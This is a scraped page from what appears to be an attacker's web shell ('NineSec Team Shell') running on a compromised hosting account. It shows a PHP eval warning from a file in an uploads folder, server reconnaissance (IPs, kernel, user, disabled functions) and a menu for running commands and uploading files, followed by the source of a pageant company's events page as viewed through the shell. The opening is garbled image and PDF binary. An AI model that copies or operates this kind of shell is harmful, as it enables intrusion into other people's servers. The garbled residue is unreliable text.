JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/pinkrosesentertainment.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/pinkrosesentertainment.com/public_html/events.php
<!DOCTYPE html>
<html>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    
    <meta name="viewport" content="width=device-width, initial-scale=1">
   
    <link rel="shortcut icon" href="assets/images/logoO/pinkNW.png" type="image/x-icon">
    <link rel="icon" href="assets/images/logoO/pinkNW.png" type="image/x-icon">
    <link rel="canonical" href="about-us.html" />
    <meta name="author" content="Digital Nawab || @unosaleem">
    <!-- Font Awesome CDN (Latest version) -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" integrity="sha512-uWxY6D4rVbYYxW2Zz+Oc6U7q3Rjz+zD6+yA2QG1QW9aYQbV2WyLCY4EmoTVz1YfWumfnYoQkmyV4sF1kW5lfYg==" crossorigin="anonymous" referrerpolicy="no-referrer" />



    <title>Events | PINK ROSES ENTERTAINMENT</title>
    <!--    Meta  - Description  -->
    <meta name="description" content="The Pink Roses Entertainment &amp; Mrs. India holds an annual pageant in both different categories to identify Indian women who exemplify beauty, talent, intelligence &amp; compassion"/>     
     <link href="assets/css/bootstrap.min.css" rel="stylesheet">    
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.css">
     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

      <link href="assets/css/animate.min.css" rel="stylesheet">     <link href="assets/js/lib/slick/slick.css" rel="stylesheet">     <link href="assets/js/lib/slick/slick-theme.css" rel="stylesheet">     <link href="assets/css/animate.min.css" rel="stylesheet">     <link href="assets/css/style.css" rel="stylesheet">     <link href="assets/css/responsive.css" rel="stylesheet">     <link href="assets/css/dark-color.css" rel="stylesheet">     <link href="assets/css/unosaleem.css" rel="stylesheet">      <!--====   reCAPTCHA_site_key ====-->
    <script src="../www.google.com/recaptcha/api2310.js?render=6LdYktkqAAAAAJcxVRCgz33EhxLs1iSxM18TSnt5"></script>
    <!--====    css custom link ====-->
    <script>
        // reCAPTCHA_site_key
        grecaptcha.ready(function() {
            // use site keys from https://www.google.com/recaptcha/admin
            grecaptcha.execute('6LdYktkqAAAAAJcxVRCgz33EhxLs1iSxM18TSnt5', {action: 'submit'}).then(function(token) {
                document.getElementById('recaptcha_token').value = token;
            });
        });

    </script>
    
    <meta name="google-site-verification" content="3gjBHn9Q71HudZt9P2vyxmkZW4o79eTTFieHht3ZBhw" />
    <meta name="facebook-domain-verification" content="ouwjnr2n1q28kwxbj7mtu6jzaxhpoy" />

    <meta name="statvooVerification" content="20e7f2275ef5bfdefe71717ae44713fd" /> 

 <script type='application/ld+json'> 
    {
      "@context": "http://www.schema.org",
      "@type": "product",
      "brand": "Beauty Pageant",
      "name": "Tiska Miss & Mrs. India",
      "image": "assets/images/logoO/pinkNW.png",
      "description": "Pink Roses Entertainment & Mrs. India is a unique blend of glamour and elegance contrary to the traditional state of pageantry, available on both state and national levels.",
      "aggregateRating": {
        "@type": "aggregateRating",
        "ratingValue": "4.4",
        "reviewCount": "14752"
      }
    }
 </script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --primary-color: #ec4899;
            --primary-dark: #db2777;
            --secondary-color: #8b5cf6;
            --dark-color: #0f172a;
            --light-color: #f8fafc;
            --gray-color: #64748b;
            --light-gray: #e2e8f0;
            --gold-color: #f59e0b;
            --transition: all 0.3s ease;
            --shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05);
            --shadow-lg: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Inter', sans-serif;
            line-height: 1.6;
            color: var(--dark-color);
            background-color: var(--light-color);
        }

        /* Header Styles */
        header {
            background: linear-gradient(135deg, rgba(15, 23, 42, 0.95) 0%, rgba(15, 23, 42, 0.98) 100%);
            padding: 1.5rem 0;
            position: sticky;
            top: 0;
            z-index: 1000;
            box-shadow: var(--shadow);
        }

        .container {
            width: 100%;
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 1.5rem;
        }

        .navbar {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .logo {
            display: flex;
            align-items: center;
            gap: 0.75rem;
            text-decoration: none;
        }

        .logo-img {
            width: 50px;
            height: 50px;
            border-radius: 50%;
            object-fit: cover;
            border: 2px solid var(--primary-color);
        }

        .logo-text {
            display: flex;
            flex-direction: column;
        }

        .logo-title {
            font-size: 1.5rem;
            font-weight: 700;
            color: white;
            line-height: 1;
        }

        .logo-subtitle {
            font-size: 0.75rem;
            color: var(--primary-color);
            letter-spacing: 1.5px;
            text-transform: uppercase;
        }

        .nav-links {
            display: flex;
            gap: 2rem;
            list-style: none;
        }

        .nav-links a {
            color: white;
            text-decoration: none;
            font-weight: 500;
            font-size: 1rem;
            transition: var(--transition);
            position: relative;
            padding: 0.5rem 0;
        }

        .nav-links a:hover {
            color: var(--primary-color);
        }

        .nav-links a.active {
            color: var(--primary-color);
        }

        .nav-links a.active::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 0;
            width: 100%;
            height: 2px;
            background: var(--primary-color);
        }

        .mobile-menu-btn {
            display: none;
            background: none;
            border: none;
            color: white;
            font-size: 1.5rem;
            cursor: pointer;
        }

        /* Hero Section */
        .hero {
            background: linear-gradient(rgba(15, 23, 42, 0.85), rgba(15, 23, 42, 0.9)), url('https://images.unsplash.com/photo-1511795409834-ef04bbd61622?ixlib=rb-4.0.3&auto=format&fit=crop&w=2069&q=80');
            background-size: cover;
            background-position: center;
            color: white;
            padding: 6rem 0;
            text-align: center;
            position: relative;
        }

        .hero-content {
            max-width: 800px;
            margin: 0 auto;
        }

        .hero h1 {
            font-size: 3.5rem;
            font-weight: 800;
            margin-bottom: 1.5rem;
            line-height: 1.1;
        }

        .hero p {
            font-size: 1.25rem;
            color: var(--light-gray);
            margin-bottom: 2rem;
            max-width: 600px;
            margin-left: auto;
            margin-right: auto;
        }

        .cta-button {
            display: inline-block;
            background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
            color: white;
            padding: 1rem 2.5rem;
            border-radius: 50px;
            text-decoration: none;
            font-weight: 600;
            font-size: 1rem;
            transition: var(--transition);
            text-transform: uppercase;
            letter-spacing: 1px;
            box-shadow: var(--shadow);
        }

        .cta-button:hover {
            transform: translateY(-3px);
            box-shadow: var(--shadow-lg);
        }

        /* About Section */
        .about {
            padding: 6rem 0;
            background-color: white;
        }

        .section-title {
            text-align: center;
            margin-bottom: 4rem;
        }

        .section-title h2 {
            font-size: 2.5rem;
            font-weight: 800;
            color: var(--dark-color);
            margin-bottom: 1rem;
            position: relative;
            display: inline-block;
        }

        .section-title h2::after {
            content: '';
            position: absolute;
            bottom: -10px;
            left: 50%;
            transform: translateX(-50%);
            width: 80px;
            height: 3px;
            background: linear-gradient(to right, var(--primary-color), var(--secondary-color));
        }

        .section-title p {
            color: var(--gray-color);
            max-width: 600px;
            margin: 0 auto;
            font-size: 1.1rem;
        }

        .about-content {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 4rem;
            align-items: center;
        }

        .about-text h3 {
            font-size: 2rem;
            font-weight: 700;
            color: var(--dark-color);
            margin-bottom: 1.5rem;
        }

        .about-text p {
            color: var(--gray-color);
            margin-bottom: 1.5rem;
            font-size: 1.05rem;
        }

        .about-highlights {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 2rem;
            margin-top: 2rem;
        }

        .highlight-item {
            text-align: center;
            padding: 1.5rem;
            border-radius: 10px;
            background-color: var(--light-color);
            transition: var(--transition);
        }

        .highlight-item:hover {
            transform: translateY(-5px);
            box-shadow: var(--shadow);
        }

        .highlight-icon {
            font-size: 2.5rem;
            color: var(--primary-color);
            margin-bottom: 1rem;
        }

        .highlight-item h4 {
            font-size: 1.1rem;
            font-weight: 600;
            margin-bottom: 0.5rem;
            color: var(--dark-color);
        }

        .highlight-item p {
            font-size: 0.9rem;
            color: var(--gray-color);
            margin: 0;
        }

        .about-image {
            position: relative;
        }

        .about-image img {
            width: 100%;
            border-radius: 15px;
            box-shadow: var(--shadow-lg);
        }

        .image-badge {
            position: absolute;
            bottom: -20px;
            right: -20px;
            background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
            color: white;
            padding: 1.5rem;
            border-radius: 50%;
            text-align: center;
            width: 120px;
            height: 120px;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            box-shadow: var(--shadow-lg);
        }

        .badge-number {
            font-size: 2rem;
            font-weight: 800;
            line-height: 1;
        }

        .badge-text {
            font-size: 0.8rem;
            text-transform: uppercase;
            letter-spacing: 1px;
        }

        /* Events Section */
        .events {
            padding: 6rem 0;
            background-color: var(--light-color);
        }

        .events-container {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(350px, 1fr));
            gap: 2.5rem;
        }

        .event-card {
            background: white;
            border-radius: 15px;
            overflow: hidden;
            box-shadow: var(--shadow);
            transition: var(--transition);
            position: relative;
        }

        .event-card:hover {
            transform: translateY(-10px);
            box-shadow: var(--shadow-lg);
        }

        .event-badge {
            position: absolute;
            top: 20px;
            right: 20px;
            background: var(--primary-color);
            color: white;
            padding: 0.5rem 1rem;
            border-radius: 50px;
            font-size: 0.8rem;
            font-weight: 600;
            z-index: 2;
        }

        .event-image {
            height: 250px;
            overflow: hidden;
        }

        .event-image img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            transition: transform 0.5s ease;
        }

        .event-card:hover .event-image img {
            transform: scale(1.05);
        }

        .event-content {
            padding: 2rem;
        }

        .event-date {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            color: var(--primary-color);
            font-weight: 600;
            margin-bottom: 0.75rem;
            font-size: 0.9rem;
        }

        .event-title {
            font-size: 1.5rem;
            font-weight: 700;
            margin-bottom: 1rem;
            color: var(--dark-color);
            line-height: 1.3;
        }

        .event-description {
            color: var(--gray-color);
            margin-bottom: 1.5rem;
            font-size: 0.95rem;
        }

        .event-details {
            display: flex;
            flex-wrap: wrap;
            gap: 1rem;
            margin-bottom: 1.5rem;
        }

        .event-detail {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            color: var(--gray-color);
            font-size: 0.9rem;
        }

        .event-detail i {
            color: var(--primary-color);
        }

        .event-button {
            display: inline-block;
            background: transparent;
            color: var(--primary-color);
            border: 2px solid var(--primary-color);
            padding: 0.75rem 1.5rem;
            border-radius: 50px;
            text-decoration: none;
            font-weight: 600;
            font-size: 0.9rem;
            transition: var(--transition);
        }

        .event-button:hover {
            background: var(--primary-color);
            color: white;
        }

        .no-events {
            grid-column: 1 / -1;
            text-align: center;
            padding: 4rem;
            color: var(--gray-color);
        }

        .no-events i {
            font-size: 4rem;
            color: var(--light-gray);
            margin-bottom: 1.5rem;
        }

        .no-events h3 {
            font-size: 1.8rem;
            margin-bottom: 1rem;
            color: var(--dark-color);
        }

        /* Footer */
        footer {
            background: var(--dark-color);
            color: white;
            padding: 4rem 0 2rem;
        }

        .footer-content {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 3rem;
            margin-bottom: 3rem;
        }

        .footer-logo {
            display: flex;
            align-items: flex-start;
            gap: 1rem;
            margin-bottom: 1.5rem;
        }

        .footer-logo-img {
            width: 60px;
            height: 60px;
            border-radius: 50%;
            object-fit: cover;
            border: 2px solid var(--primary-color);
        }

        .footer-logo-text h3 {
            font-size: 1.5rem;
            font-weight: 700;
            margin-bottom: 0.25rem;
        }

        .footer-logo-text p {
            color: var(--light-gray);
            font-size: 0.9rem;
        }

        .footer-about p {
            color: var(--light-gray);
            margin-bottom: 1.5rem;
            line-height: 1.7;
        }

        .social-links {
            display: flex;
            gap: 1rem;
        }

        .social-links a {
            display: flex;
            align-items: center;
            justify-content: center;
            width: 40px;
            height: 40px;
            background: rgba(255, 255, 255, 0.1);
            border-radius: 50%;
            color: white;
            text-decoration: none;
            transition: var(--transition);
        }

        .social-links a:hover {
            background: var(--primary-color);
            transform: translateY(-3px);
        }

        .footer-links h4 {
            font-size: 1.2rem;
            font-weight: 600;
            margin-bottom: 1.5rem;
            color: white;
        }

        .footer-links ul {
            list-style: none;
        }

        .footer-links ul li {
            margin-bottom: 0.75rem;
        }

        .footer-links ul li a {
            color: var(--light-gray);
            text-decoration: none;
            transition: var(--transition);
        }

        .footer-links ul li a:hover {
            color: var(--primary-color);
            padding-left: 5px;
        }

        .contact-info h4 {
            font-size: 1.2rem;
            font-weight: 600;
            margin-bottom: 1.5rem;
            color: white;
        }

        .contact-item {
            display: flex;
            align-items: flex-start;
            gap: 1rem;
            margin-bottom: 1.5rem;
        }

        .contact-icon {
            width: 40px;
            height: 40px;
            background: rgba(236, 72, 153, 0.1);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: var(--primary-color);
            flex-shrink: 0;
        }

        .contact-details h5 {
            font-size: 1rem;
            font-weight: 600;
            margin-bottom: 0.25rem;
        }

        .contact-details p {
            color: var(--light-gray);
            font-size: 0.9rem;
        }

        .footer-bottom {
            text-align: center;
            padding-top: 2rem;
            border-top: 1px solid rgba(255, 255, 255, 0.1);
            color: var(--light-gray);
            font-size: 0.9rem;
        }

        /* Responsive Design */
        @media (max-width: 992px) {
            .hero h1 {
                font-size: 2.8rem;
            }
            
            .about-content {
                grid-template-columns: 1fr;
                gap: 3rem;
            }
            
            .about-image {
                order: -1;
            }
        }

        @media (max-width: 768px) {
            .mobile-menu-btn {
                display: block;
            }
            
            .nav-links {
                position: fixed;
                top: 80px;
                left: 0;
                width: 100%;
                background: var(--dark-color);
                flex-direction: column;
                padding: 2rem;
                text-align: center;
                transform: translateY(-100%);
                opacity: 0;
                visibility: hidden;
                transition: var(--transition);
                box-shadow: var(--shadow);
            }
            
            .nav-links.active {
                transform: translateY(0);
                opacity: 1;
                visibility: visible;
            }
            
            .hero h1 {
                font-size: 2.3rem;
            }
            
            .hero p {
                font-size: 1.1rem;
            }
            
            .section-title h2 {
                font-size: 2rem;
            }
            
            .events-container {
                grid-template-columns: 1fr;
            }
            
            .about-highlights {
                grid-template-columns: 1fr;
            }
        }

        @media (max-width: 480px) {
            .hero {
                padding: 4rem 0;
            }
            
            .hero h1 {
                font-size: 1.8rem;
            }
            
            .container {
                padding: 0 1rem;
            }
        }
    </style>
</head>
<body>

        <!-- Main Header-->
        <header class="main-header header-style-two ">
            <style>
    .nav > li > a:focus, .nav > li > a:hover {
    text-decoration: none;
    background-color: #ef6faa !important;
}
.navbar-light .navbar-nav .nav-link {
    color: #fff;
}
.dropdown-menu.show {
    background: #696d72;
}
.dropdown-menu {background: #686c71;}
.dropdown:hover .dropdown-menu {display: block;}

.dropdown-item{color:#fff;}
.dropdown-item:hover{color:#ee6ea9;}

/*==== responsive Mobile ======*/
@media  only screen and (max-width: 600px) {
 .nav.navbar-nav.ml-auto {
    width: 100%;
}
.navbar.navbar-expand-md.navbar-light {

    background: #736e6ef0;

}
.main-header.fixed.animated.slideDown {

    padding:0 !important;
    margin:0 !important;
}
}
</style>
<div class="bs-example">
    <nav class="navbar navbar-expand-md navbar-light ">
       
            <a href="index.php" class="navbar-brand">
                         <img src="assets/images/logoO/pinkNW.png" alt="tiska" width="70" class="img-responsive logoTs"/> 
                 
        </a>
        <button type="button" class="navbar-toggler" data-toggle="collapse" data-target="#navbarCollapse">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div id="navbarCollapse" class="collapse navbar-collapse">
           <ul class="nav navbar-nav ml-auto">
                 <li class="nav-item"><a class='active' href="index.php">Home</a></li>

        <li class="nav-item"><a href="about-us.html">About Us</a> </li>
        
        <li class="nav-item dropdown">
            <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">audition</a>
            <div class="dropdown-menu">
                <a href="nwTeam.php" class="dropdown-item">Team</a>
                <div class="dropdown-divider"></div>
                <a href="nwjury.php" class="dropdown-item">jury</a>

            </div>
        </li>

            
               <li class="nav-item"><a href="achive.php" >Achievement</a></li>
             <!-- <li class="nav-item"><a href="nwGallery.html" >Gallery</li> -->
                 <li class="nav-item dropdown">
            <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">Media</a>
            <div class="dropdown-menu">
                <a href="nwGallery.php" class="dropdown-item">Gallery</a>
                <div class="dropdown-divider"></div>
                <a href="video.html" class="dropdown-item">Video</a>
                <div class="dropdown-divider"></div>
                <a href="events.php" class="dropdown-item">Events</a>
            </div>
        </li>
           <li><a href="social.html" >Social</a></li>
           <li class="nav-item"><a href="registration.php" >Registration</a></li>
              <li><a href="nwcontact.html" >Contact Us</a></li> 
             
             
            </ul>
            
        </div>
    </nav>
</div>       
</header>
     

    <!-- Hero Section -->
    <section class="hero">
        <div class="container">
            <div class="hero-content">
                <h1>Our Prestigious Events</h1>
                <p>Experience the grandeur of Pink Roses Entertainment's signature events that celebrate talent, diversity, and excellence.</p>
                <a href="#upcoming-events" class="cta-button">Explore Events</a>
            </div>
        </div>
    </section>

    <!-- Events Section -->
    <section class="events" id="upcoming-events">
        <div class="container">
            <div class="section-title">
                <h2>Upcoming & Past Events</h2>
                <p>Discover our curated events that bring together talent, culture, and excellence from across the nation.</p>
            </div>
            
            <div class="events-container" id="eventsContainer">
                <!-- Events will be loaded dynamically from database -->
                <?php
                require_once __DIR__ . '/db_connect.php';
                
                // Check connection
                if ($conn->connect_error) {
                    echo '<div class="no-events">';
                    echo '<i class="fas fa-calendar-times"></i>';
                    echo '<h3>Connection Error</h3>';
                    echo '<p>Unable to connect to database. Please try again later.</p>';
                    echo '</div>';
                } else {
                    // Fetch events from database
                    $sql = "SELECT * FROM events WHERE is_active = 1 ORDER BY start_date DESC";
                    $result = $conn->query($sql);
                    
                    if ($result->num_rows > 0) {
                        while($row = $result->fetch_assoc()) {
                            $event_id = $row["id"];
                            $title = htmlspecialchars($row["title"]);
                            $description = htmlspecialchars($row["description"]);
                            $start_date = date("M d, Y", strtotime($row["start_date"]));
                            $end_date = date("M d, Y", strtotime($row["end_date"]));
                            $location = htmlspecialchars($row["location"]);
                            $banner_image = !empty($row["banner_image"]) ? $row["banner_image"] : "https://images.unsplash.com/photo-1540575467063-178a50c2df87?ixlib=rb-4.0.3&auto=format&fit=crop&w=2070&q=80";
                            $is_active = $row["is_active"];
                            
                            // Determine badge based on date
                            $today = date("Y-m-d");
                            $event_end = $row["end_date"];
                            $badge_text = $event_end >= $today ? "Upcoming" : "Past Event";
                            $badge_class = $event_end >= $today ? "event-badge" : "event-badge past";
                            
                            echo '<div class="event-card">';
                            echo '<div class="'.$badge_class.'">'.$badge_text.'</div>';
                            echo '<div class="event-image">';
                            echo '<img src="'.$banner_image.'" alt="'.$title.'">';
                            echo '</div>';
                            echo '<div class="event-content">';
                            echo '<div class="event-date">';
                            echo '<i class="far fa-calendar-alt"></i>';
                            echo '<span>'.$start_date.' - '.$end_date.'</span>';
                            echo '</div>';
                            echo '<h3 class="event-title">'.$title.'</h3>';
                            echo '<p class="event-description">'.(strlen($description) > 120 ? substr($description, 0, 120).'...' : $description).'</p>';
                            echo '<div class="event-details">';
                            if (!empty($location)) {
                                echo '<div class="event-detail">';
                                echo '<i class="fas fa-map-marker-alt"></i>';
                                echo '<span>'.$location.'</span>';
                                echo '</div>';
                            }
                            echo '<div class="event-detail">';
                            echo '<i class="far fa-clock"></i>';
                            echo '<span>'.date("g:i A", strtotime("19:00:00")).'</span>';
                            echo '</div>';
                            echo '</div>';
                            echo '<a href="event-details.php?id='.$event_id.'" class="event-button">View Details</a>';
                            echo '</div>';
                            echo '</div>';
                        }
                    } else {
                        echo '<div class="no-events">';
                        echo '<i class="fas fa-calendar-times"></i>';
                        echo '<h3>No Events Found</h3>';
                        echo '<p>Check back soon for our upcoming events!</p>';
                        echo '</div>';
                    }
                    
                    $conn->close();
                }
                ?>
            </div>
        </div>
    </section>

    <!-- Footer -->
    <footer>
        <div class="container">
            <div class="footer-content">
                <div class="footer-about">
                    <div class="footer-logo">
                        <img src="https://placehold.co/60x60/FF69B4/FFFFFF?text=PR" alt="Pink Roses Logo" class="footer-logo-img">
                        <div class="footer-logo-text">
                            <h3>PinkRoses</h3>
                            <p>Entertainment</p>
                        </div>
                    </div>
                    <p>Pink Roses Entertainment is a premier event management company based in Kolkata, curating prestigious national and international platforms that celebrate talent, confidence, and diversity.</p>
                    <div class="social-links">
                        <a href="#"><i class="fab fa-facebook-f"></i></a>
                        <a href="#"><i class="fab fa-instagram"></i></a>
                        <a href="#"><i class="fab fa-twitter"></i></a>
                        <a href="#"><i class="fab fa-youtube"></i></a>
                        <a href="#"><i class="fab fa-linkedin-in"></i></a>
                    </div>
                </div>
                
                <div class="footer-links">
                    <h4>Quick Links</h4>
                    <ul>
                        <li><a href="index.html">Home</a></li>
                        <li><a href="about.html">About Us</a></li>
                        <li><a href="events.html">Events</a></li>
                        <li><a href="gallery.html">Gallery</a></li>
                        <li><a href="contact.html">Contact Us</a></li>
                    </ul>
                </div>
                
                <div class="contact-info">
                    <h4>Contact Info</h4>
                    <div class="contact-item">
                        <div class="contact-icon">
                            <i class="fas fa-map-marker-alt"></i>
                        </div>
                        <div class="contact-details">
                            <h5>Our Location</h5>
                            <p>Kolkata, West Bengal, India</p>
                        </div>
                    </div>
                    <div class="contact-item">
                        <div class="contact-icon">
                            <i class="fas fa-phone-alt"></i>
                        </div>
                        <div class="contact-details">
                            <h5>Phone Number</h5>
                            <p>+91 91633 29786</p>
                        </div>
                    </div>
                    <div class="contact-item">
                        <div class="contact-icon">
                            <i class="fas fa-envelope"></i>
                        </div>
                        <div class="contact-details">
                            <h5>Email Address</h5>
                            <p>info@pinkrosesentertainment.com</p>
                        </div>
                    </div>
                </div>
            </div>
            
            <div class="footer-bottom">
                <p>&copy; 2024 Pink Roses Entertainment. All Rights Reserved. | Designed with <i class="fas fa-heart" style="color: var(--primary-color);"></i></p>
            </div>
        </div>
    </footer>

    <script>
        // Mobile Menu Toggle
        const mobileMenuBtn = document.getElementById('mobileMenuBtn');
        const navLinks = document.getElementById('navLinks');
        
        mobileMenuBtn.addEventListener('click', () => {
            navLinks.classList.toggle('active');
            mobileMenuBtn.innerHTML = navLinks.classList.contains('active') 
                ? '<i class="fas fa-times"></i>' 
                : '<i class="fas fa-bars"></i>';
        });
        
        // Close mobile menu when clicking on a link
        document.querySelectorAll('.nav-links a').forEach(link => {
            link.addEventListener('click', () => {
                navLinks.classList.remove('active');
                mobileMenuBtn.innerHTML = '<i class="fas fa-bars"></i>';
            });
        });
        
        // Smooth scrolling for anchor links
        document.querySelectorAll('a[href^="#"]').forEach(anchor => {
            anchor.addEventListener('click', function(e) {
                e.preventDefault();
                
                const targetId = this.getAttribute('href');
                if(targetId === '#') return;
                
                const targetElement = document.querySelector(targetId);
                if(targetElement) {
                    window.scrollTo({
                        top: targetElement.offsetTop - 80,
                        behavior: 'smooth'
                    });
                }
            });
        });
        
        // Add active class to current page in nav
        const currentPage = window.location.pathname.split('/').pop();
        document.querySelectorAll('.nav-links a').forEach(link => {
            const linkPage = link.getAttribute('href');
            if(linkPage === currentPage) {
                link.classList.add('active');
            }
        });
    </script>
</body>
</html>

NineSec Team - 2022